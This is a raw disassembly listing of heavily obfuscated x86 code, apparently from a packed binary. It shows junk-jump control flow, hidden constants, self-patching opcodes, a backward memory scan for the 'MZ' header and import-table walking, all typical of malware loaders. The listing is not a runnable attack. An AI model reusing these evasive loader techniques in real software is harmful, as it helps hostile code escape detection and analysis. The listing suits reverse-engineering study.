FUNCTION CHUNK FOR sub_425BD2 loc_423082: ; CODE XREF: sub_425BD2:loc_425F81j jmp loc_42476D ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_423087: ; CODE XREF: sub_4236A7+26DFj pop ebx sub ebx, 0CE90282Ch xor ebx, 6D2D7DF6h or ebx, 7773C380h jmp loc_4238EB ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42309F: ; CODE XREF: sub_42466E:loc_4289F8j jnz loc_425DA9 loc_4230A5: ; CODE XREF: hjohnhn9:00424693j jmp nullsub_102 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- push 0F1F2C47Eh xchg ecx, ebx test ecx, 9233CFC0h jmp loc_42822C ; --------------------------------------------------------------------------- loc_4230BC: ; DATA XREF: sub_427C9B-35EAo add edx, ebp add edx, 3EA0911Dh call sub_42466E ; START OF FUNCTION CHUNK FOR sub_424631 loc_4230C9: ; CODE XREF: sub_424631+464Ej jmp loc_423180 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4230CE: ; CODE XREF: sub_423B05:loc_424B45j jz loc_423A31 jnz loc_423505 cdq jmp loc_423A2B ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_4230E0 proc near ; CODE XREF: sub_4275A3:loc_426134p ; hjohnhn9:00427579j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00425D9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042772C SIZE 0000001D BYTES xchg edi, [esp+0] pop edi push 7B102949h pop ebx rol ebx, 2 jmp loc_425D9E sub_4230E0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4230F2 proc near ; CODE XREF: sub_42855B:loc_427DCDj push ebp push offset sub_427BCE jmp nullsub_103 sub_4230F2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426638 loc_4230FD: ; CODE XREF: sub_426638:loc_427F5Fj xor edx, ds:4000F8h cmp edx, 51638979h jmp loc_427F44 ; END OF FUNCTION CHUNK FOR sub_426638 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4241E1 loc_42310F: ; CODE XREF: sub_4241E1+Cj jmp nullsub_120 ; END OF FUNCTION CHUNK FOR sub_4241E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_423114: ; CODE XREF: sub_4250FC-3DCj mov ecx, eax pop eax or ecx, 9ED4A6B5h rol ecx, 0Ah jmp loc_427D19 ; END OF FUNCTION CHUNK FOR sub_4250FC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_423126: ; CODE XREF: sub_426A30-2266j jmp loc_426BBA ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_42312B: ; CODE XREF: sub_424161+440j ; DATA XREF: sub_428192:loc_4247CFo pop ebp mov eax, ds:dword_423950 or eax, eax push offset sub_4248B1 jmp nullsub_35 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- adc edi, eax jmp sub_424D38 ; --------------------------------------------------------------------------- loc_423145: ; CODE XREF: hjohnhn9:00427A97j lea eax, nullsub_1 mov byte ptr [eax], 0C3h ; START OF FUNCTION CHUNK FOR sub_42325E loc_42314E: ; CODE XREF: sub_42325E:loc_425205j push ecx push 6CA47921h jmp loc_4276C0 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- mov [ebp-8], eax push eax push 38908B4Ah xchg edi, [esp] jmp loc_425F6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_42316A: ; CODE XREF: sub_426671-268Dj sub edx, 7A4EC4C0h add edx, 0AC572996h push offset loc_428C2D jmp nullsub_29 ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423180: ; CODE XREF: sub_424631:loc_4230C9j mov eax, [ebp+8] push offset loc_426610 jmp loc_42368D ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_42318D: ; CODE XREF: sub_4287BF-1221j jnz loc_42867B mov eax, [ebp-4] inc eax mov eax, [eax] add eax, [ebp-4] jmp loc_42866C ; END OF FUNCTION CHUNK FOR sub_4287BF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D6A loc_4231A3: ; CODE XREF: sub_427D6A+12j jmp loc_425121 ; END OF FUNCTION CHUNK FOR sub_427D6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275A3 loc_4231A8: ; CODE XREF: sub_4275A3-18CCj jmp nullsub_98 ; END OF FUNCTION CHUNK FOR sub_4275A3 ; =============== S U B R O U T I N E ======================================= sub_4231AD proc near ; CODE XREF: hjohnhn9:004231EBj ; sub_4284CB-4843p ; FUNCTION CHUNK AT 004249DC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424CEC SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004265C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004268E5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00426A62 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427555 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427FA4 SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx jz loc_427555 mov eax, [ebp-4] mov al, [eax] and al, 0F6h jmp loc_426A62 sub_4231AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_4231C3: ; CODE XREF: sub_426475+A2Cj jge loc_425B75 xor ecx, 0D2F1B6E9h jmp loc_425B6B ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_4231D4: ; CODE XREF: sub_42325E+42ECj jz loc_428EBF loc_4231DA: ; CODE XREF: hjohnhn9:00423FAFj jge loc_427D13 jmp loc_4269A0 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- xor ecx, 61C8DFD6h jmp sub_4231AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4231F0: ; CODE XREF: sub_424161:loc_429022j or eax, 0C35DC7D7h cmp eax, 7D7341B6h jmp loc_424D68 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423D67 loc_423201: ; CODE XREF: sub_423D67-672j pop ebx xchg ebx, [esp-4+arg_0] push eax push 458343C8h pop eax and eax, 0FDA01D0Dh call sub_4265A0 ; END OF FUNCTION CHUNK FOR sub_423D67 ; START OF FUNCTION CHUNK FOR sub_426A78 loc_423217: ; CODE XREF: sub_426A78:loc_427436j jz loc_426579 jmp loc_4250D5 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423222: ; CODE XREF: sub_423B05:loc_4238B5j test eax, eax jnz loc_4250B4 jmp loc_42862B ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42873F loc_42322F: ; CODE XREF: sub_42873F+17j neg eax cmp ax, 0A5B3h jnz loc_428748 retn ; END OF FUNCTION CHUNK FOR sub_42873F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_42323C: ; CODE XREF: sub_426354+16C7j ; sub_427C9B+56j jmp loc_4262EB ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426211 loc_423241: ; CODE XREF: sub_426211+16j jmp loc_4250CF ; END OF FUNCTION CHUNK FOR sub_426211 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_423246: ; CODE XREF: sub_427486-1357j jmp loc_427921 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42873F loc_42324B: ; CODE XREF: sub_42873F:loc_428748j sub ebx, 10000h mov eax, [ebx] neg eax cmp ax, 0A5B3h jmp loc_4252D4 ; END OF FUNCTION CHUNK FOR sub_42873F ; =============== S U B R O U T I N E ======================================= sub_42325E proc near ; DATA XREF: sub_423CDB+49D8o var_18 = dword ptr -18h ; FUNCTION CHUNK AT 0042314E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004231D4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00423283 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423A82 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423B46 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00423DF6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00423E36 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00424261 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E6B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425205 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004269A0 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426DF3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00426F50 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426FE2 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427140 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00427535 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004276C0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004276F7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427BBD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428372 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428B46 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00428EBF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00428F20 SIZE 0000000C BYTES push eax pop ecx call sub_425D27 loc_423265: ; CODE XREF: hjohnhn9:004280F1j jmp loc_427BBD sub_42325E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_42326A: ; CODE XREF: sub_4263E3:loc_426C9Bj ; sub_426D02+7F0j jmp loc_428DAB ; END OF FUNCTION CHUNK FOR sub_426D02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4235C9 loc_42326F: ; CODE XREF: sub_4235C9:loc_426FC2j ror eax, 0Eh mov ds:dword_4233A8, eax retn ; END OF FUNCTION CHUNK FOR sub_4235C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B28 loc_423279: ; CODE XREF: sub_428B28+7j jmp sub_424877 ; END OF FUNCTION CHUNK FOR sub_428B28 ; --------------------------------------------------------------------------- loc_42327E: ; CODE XREF: hjohnhn9:00425E01j jmp loc_4242C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_423283: ; CODE XREF: sub_42325E+BF4j rol eax, 0Eh push eax retn ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423288: ; CODE XREF: sub_4262C5:loc_42762Dj call sub_4246DB ; END OF FUNCTION CHUNK FOR sub_4262C5 ; START OF FUNCTION CHUNK FOR sub_426A30 loc_42328D: ; CODE XREF: sub_426A30:loc_427181j add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jz loc_4247C1 jmp loc_4288AD ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- loc_4232A1: ; CODE XREF: hjohnhn9:0042777Aj mov byte ptr [ecx], 0E9h pop ecx add esi, 306850C2h xchg esi, [esp] jmp nullsub_1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_4232B4: ; CODE XREF: sub_4236A7+252j mov esi, [eax] push esi push 7F1739E3h pop esi add esi, 4759A1F6h jmp loc_424F57 ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428357 loc_4232C8: ; CODE XREF: sub_428357+7j xor [ebp-8], eax call sub_4240BC locret_4232D0: ; CODE XREF: sub_423E64-4B9j retn ; END OF FUNCTION CHUNK FOR sub_428357 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4251EB loc_4232D1: ; CODE XREF: sub_4251EB+E02j push esi jl loc_426A8A not esi loc_4232DA: ; CODE XREF: sub_4251EB:loc_425FDCj and eax, 0ECD35A9h call sub_423E64 locret_4232E5: ; CODE XREF: hjohnhn9:loc_423B39j retn ; END OF FUNCTION CHUNK FOR sub_4251EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_4232E6: ; CODE XREF: sub_425CB3+18j jmp loc_4240D4 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_4232EB: ; CODE XREF: sub_4265CD-677j mov edi, eax call sub_428DF9 ; END OF FUNCTION CHUNK FOR sub_4265CD ; START OF FUNCTION CHUNK FOR sub_424631 loc_4232F2: ; CODE XREF: sub_424631-122Fj jmp loc_4244BE ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_4232F7: ; CODE XREF: hjohnhn9:loc_42500Aj jnz loc_424D12 jmp loc_4268E0 ; --------------------------------------------------------------------------- loc_423302: ; DATA XREF: hjohnhn9:loc_424089o pop esi mov [ebp-4], eax inc dword ptr [ebp-0Ch] dec dword ptr [ebp-18h] jnz loc_425BB8 jmp loc_424B6F ; --------------------------------------------------------------------------- xchg ebx, [esi] add ebp, ecx jmp sub_428CE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42855B loc_423320: ; CODE XREF: sub_42855B-2316j push ecx mov esp, ebp pop ebp mov eax, ds:dword_428B08 jmp loc_427707 ; END OF FUNCTION CHUNK FOR sub_42855B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428183 loc_42332F: ; CODE XREF: sub_428183:loc_428B11j pop eax cmp dword ptr [eax], 0 jnz loc_424EAA jmp sub_427C43 ; --------------------------------------------------------------------------- loc_42333E: ; CODE XREF: sub_428183:loc_424EAAj push eax push 0 call sub_428192 push offset sub_428183 jmp loc_42335C ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_423350: ; CODE XREF: sub_426354:loc_423451j jz loc_427951 jmp loc_4238BA ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- locret_42335B: ; CODE XREF: hjohnhn9:loc_4290E4j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428183 loc_42335C: ; CODE XREF: sub_428183-4E38j jmp sub_4264AC ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_423361: ; CODE XREF: sub_4250FC:loc_4268E0j shl edi, 1Eh jmp loc_424D11 ; END OF FUNCTION CHUNK FOR sub_4250FC ; =============== S U B R O U T I N E ======================================= sub_423369 proc near ; CODE XREF: hjohnhn9:0042651Ej ; sub_427564p arg_C = dword ptr 10h ; FUNCTION CHUNK AT 00423BE7 SIZE 0000000A BYTES xchg eax, [esp+0] pop eax call sub_427363 push ecx mov ecx, [esp+arg_C] mov dword ptr [ecx], 10001h lea eax, loc_423BFB jmp loc_423BE7 sub_423369 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_423388: ; CODE XREF: sub_423BC3:loc_42713Aj call sub_426638 pop es aad 0D7h ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- dword_423390 dd 3628EFCEh ; DATA XREF: sub_424698+C5r ; sub_427C9B+1174w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_423394: ; CODE XREF: sub_424819+1C8Ej jmp loc_424967 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- db 0E2h, 7Ah, 0FEh dword_42339C dd 6E65DF9Ch ; DATA XREF: sub_4263E3r sub_427FDD+4w dword_4233A0 dd 34EFCC2Dh ; DATA XREF: sub_426708:loc_4261BCr ; sub_426AF6+7w dword_4233A4 dd 0E8265DF9h ; DATA XREF: sub_426DFB-3960w ; sub_4237F4+45DFr dword_4233A8 dd 59BDDF9Ch ; DATA XREF: sub_4235C9-357w dword_4233AC dd 736A377Eh, 16D2E9h, 0A6610D00h, 88EFCFEh, 1191E9h, 33E8100h ; DATA XREF: hjohnhn9:00425CE0w ; hjohnhn9:00427E32r dword_4233C4 dd 0 ; DATA XREF: sub_428477:loc_4239D3w ; sub_424A28:loc_424824r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4233C8: ; CODE XREF: sub_426A78-4E6j jmp loc_4276FC ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- push eax jmp sub_427E85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426924 loc_4233D3: ; CODE XREF: sub_426924+6j mov [ebp+var_20], eax mov eax, [ebp+var_20] mov [ebp+var_28], eax call sub_4269BD ; END OF FUNCTION CHUNK FOR sub_426924 ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4233E1: ; CODE XREF: sub_423B05+5299j jmp loc_427A44 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_4233E6: ; CODE XREF: sub_4237F4:loc_4243EDj or dword ptr [eax-8], 4 mov eax, [ebp+var_4] movzx eax, byte ptr [eax] mov edx, [ebp+arg_0] jmp loc_424C46 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4233F8: ; CODE XREF: sub_424631:loc_426894j cmp dword ptr [ebp-14h], 4 jnz loc_424F28 jmp loc_4232F2 ; END OF FUNCTION CHUNK FOR sub_424631 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423408: ; CODE XREF: hjohnhn9:0042455Fj jmp loc_4239B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278B9 loc_42340D: ; CODE XREF: sub_4278B9:loc_423948j call sub_423425 mov [ebp-4], eax loc_423415: ; CODE XREF: sub_427E85-3CEBj ; sub_427463+Dj ... mov eax, [ebp-1Ch] call sub_427F90 mov [ebp-8], eax jmp loc_4282CE ; END OF FUNCTION CHUNK FOR sub_4278B9 ; =============== S U B R O U T I N E ======================================= sub_423425 proc near ; CODE XREF: sub_4278B9:loc_42340Dp ; sub_426CC8+4p ... ; FUNCTION CHUNK AT 004278D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004282D8 SIZE 0000000B BYTES jns sub_428477 push ebp mov ebp, esp jmp loc_4278D7 sub_423425 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_423433: ; CODE XREF: sub_427C9B:loc_427E76j jz loc_427C63 cmp eax, 3B5A44D1h jmp loc_424496 ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_423444 proc near ; DATA XREF: sub_4275F9+16o ; FUNCTION CHUNK AT 004270EE SIZE 00000013 BYTES call sub_42345B jmp loc_4270EE sub_423444 endp ; --------------------------------------------------------------------------- loc_42344E: ; CODE XREF: hjohnhn9:loc_428440j pop ecx pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_423451: ; CODE XREF: sub_426354+1767j jmp loc_423350 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F3F loc_423456: ; CODE XREF: sub_425F3F+9j jmp loc_4244EE ; END OF FUNCTION CHUNK FOR sub_425F3F ; =============== S U B R O U T I N E ======================================= sub_42345B proc near ; CODE XREF: sub_423444p ; sub_424161:loc_424521j ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424145 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004243BD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426B55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426FCF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042827F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00428522 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00428892 SIZE 0000001B BYTES push ecx mov ecx, ebp xchg ecx, [esp+4+var_4] jmp loc_426FCF sub_42345B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423466: ; CODE XREF: sub_4262C5:loc_424ADEj mov al, [eax] mov [ebp-9], al push offset sub_428D64 jmp loc_4251E6 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- mov eax, [ebp-4] jns loc_42410C push esi push 3EE8867Dh pop esi rol esi, 10h xor esi, 867D3EC0h add eax, esi jmp loc_424089 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DFB loc_423495: ; CODE XREF: sub_426DFB:loc_4234A2j xchg ebp, [esp+0] ror eax, 12h mov ds:dword_4233A4, eax retn ; --------------------------------------------------------------------------- loc_4234A2: ; CODE XREF: sub_426DFB:loc_426E02j jmp loc_423495 ; END OF FUNCTION CHUNK FOR sub_426DFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_4234A7: ; CODE XREF: sub_4250FC+15j jmp loc_426912 ; END OF FUNCTION CHUNK FOR sub_4250FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240BC loc_4234AC: ; CODE XREF: sub_4240BC+13j jmp nullsub_6 ; END OF FUNCTION CHUNK FOR sub_4240BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4234B1: ; CODE XREF: sub_424161:loc_4279DEj push eax push 0EB0820C5h pop eax and eax, 6CD12092h jmp loc_429022 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- loc_4234C3: ; CODE XREF: hjohnhn9:0042798Fj push ebp cdq jmp loc_42750E ; =============== S U B R O U T I N E ======================================= sub_4234CA proc near ; CODE XREF: sub_427B51+62Dj push ebp mov eax, [ebp-20h] call sub_424A78 sub_4234CA endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_423FB9 loc_4234D3: ; CODE XREF: sub_423FB9+Fj ; sub_4260BD-201Aj jmp nullsub_5 ; END OF FUNCTION CHUNK FOR sub_423FB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_4234D8: ; CODE XREF: sub_426475:loc_423027j call sub_4260BD mov ebx, eax call sub_424AAE xor ebx, eax mov [ebp-0Ch], ebx push eax mov eax, ecx jmp loc_425E69 ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D17 loc_4234F1: ; CODE XREF: sub_426D17+13j mov ds:dword_425AE8, eax call sub_424877 mov edx, 0A2CD59D9h call sub_427C53 ; END OF FUNCTION CHUNK FOR sub_426D17 ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423505: ; CODE XREF: sub_423B05-A31j mov ds:dword_4252D0, eax retn ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_42350B: ; CODE XREF: sub_428271-41FBj jmp loc_4280F6 ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- jmp loc_428050 ; --------------------------------------------------------------------------- loc_423515: ; CODE XREF: hjohnhn9:00425DD3j call sub_424877 jmp loc_4237EF ; =============== S U B R O U T I N E ======================================= sub_42351F proc near ; CODE XREF: sub_425EA9-16A2p ; FUNCTION CHUNK AT 00425D42 SIZE 00000005 BYTES push ebx push ecx push offset loc_424904 jmp loc_425D42 sub_42351F endp ; --------------------------------------------------------------------------- loc_42352B: ; CODE XREF: hjohnhn9:00427AB0j cdq pop esi ; START OF FUNCTION CHUNK FOR sub_4265CD loc_42352D: ; CODE XREF: sub_4265CD:loc_427A9Cj add eax, 8D6353E5h loc_423533: ; CODE XREF: hjohnhn9:loc_428F2Cj mov eax, [eax] or eax, eax jnz loc_425F4D jmp loc_424449 ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- loc_423542: ; CODE XREF: hjohnhn9:004245B5j jnb loc_4238C1 ; =============== S U B R O U T I N E ======================================= sub_423548 proc near ; CODE XREF: sub_424631+3344p xchg ecx, [esp+0] pop ecx call sub_424A28 loc_423551: ; CODE XREF: sub_4262C5:loc_423C0Dj jmp loc_427569 sub_423548 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_423556: ; CODE XREF: hjohnhn9:00425B9Dj or edi, 0E6A75A88h ; =============== S U B R O U T I N E ======================================= sub_42355C proc near ; CODE XREF: sub_4266B5:loc_424913p ; FUNCTION CHUNK AT 00424E9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425C18 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00425C40 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425E06 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042607D SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042743B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428542 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi push 0A97A0725h pop eax xor eax, 0B4A5B546h jmp loc_42743B sub_42355C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427345 loc_423571: ; CODE XREF: sub_427345:loc_42742Cj pop ecx add esi, 0D0CC96EAh and esi, 0DA1BA739h xor esi, 0D81BA029h xchg esi, [esp-4+arg_0] push offset sub_4240AE jmp loc_424FE8 ; END OF FUNCTION CHUNK FOR sub_427345 ; --------------------------------------------------------------------------- loc_423591: ; CODE XREF: hjohnhn9:loc_425B52j and eax, edx jmp loc_428DA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F0B loc_423598: ; CODE XREF: sub_428F0B+6j mov ebp, esp push ecx mov esp, ebp pop ebp push offset sub_4263E3 jmp nullsub_123 ; END OF FUNCTION CHUNK FOR sub_428F0B ; --------------------------------------------------------------------------- mov eax, [ebp+0] jmp loc_4244FA ; --------------------------------------------------------------------------- loc_4235B0: ; DATA XREF: sub_423B6C+30CBo mov eax, [ebp+8] test byte ptr [eax-7], 10h jz loc_427A6C inc dword ptr [ebp-8] ; START OF FUNCTION CHUNK FOR sub_426BD2 loc_4235C0: ; CODE XREF: sub_426BD2+8j ; sub_427B7A:loc_42856Cj mov eax, [ebp-8] pop ecx loc_4235C4: ; CODE XREF: hjohnhn9:loc_423977j jmp loc_427A69 ; END OF FUNCTION CHUNK FOR sub_426BD2 ; =============== S U B R O U T I N E ======================================= sub_4235C9 proc near ; CODE XREF: hjohnhn9:00427871j ; hjohnhn9:00428C3Ap ; FUNCTION CHUNK AT 0042326F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426FC2 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push edi mov edi, eax xchg edi, [esp+0] jmp loc_426FC2 sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_4235D8 proc near ; CODE XREF: hjohnhn9:00423C51p ; hjohnhn9:00427068j ; FUNCTION CHUNK AT 00427EA6 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov ds:dword_423944, eax xor eax, eax jmp loc_427EA6 sub_4235D8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edx, 17B3C1CFh push ebp mov ebp, eax ; START OF FUNCTION CHUNK FOR sub_4265CD loc_4235F0: ; CODE XREF: sub_4265CD:loc_425D6Fj xchg ebp, [esp+0] push 9622C161h pop eax xor eax, 94EB5D2Ah jmp loc_428576 ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- loc_423604: ; CODE XREF: hjohnhn9:004290ECj jg loc_428892 pop ebx jmp sub_42859A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428788 loc_423610: ; CODE XREF: sub_428788+18j call sub_4244F5 mov esp, ebp pop ebp push ds:dword_423954 retn ; END OF FUNCTION CHUNK FOR sub_428788 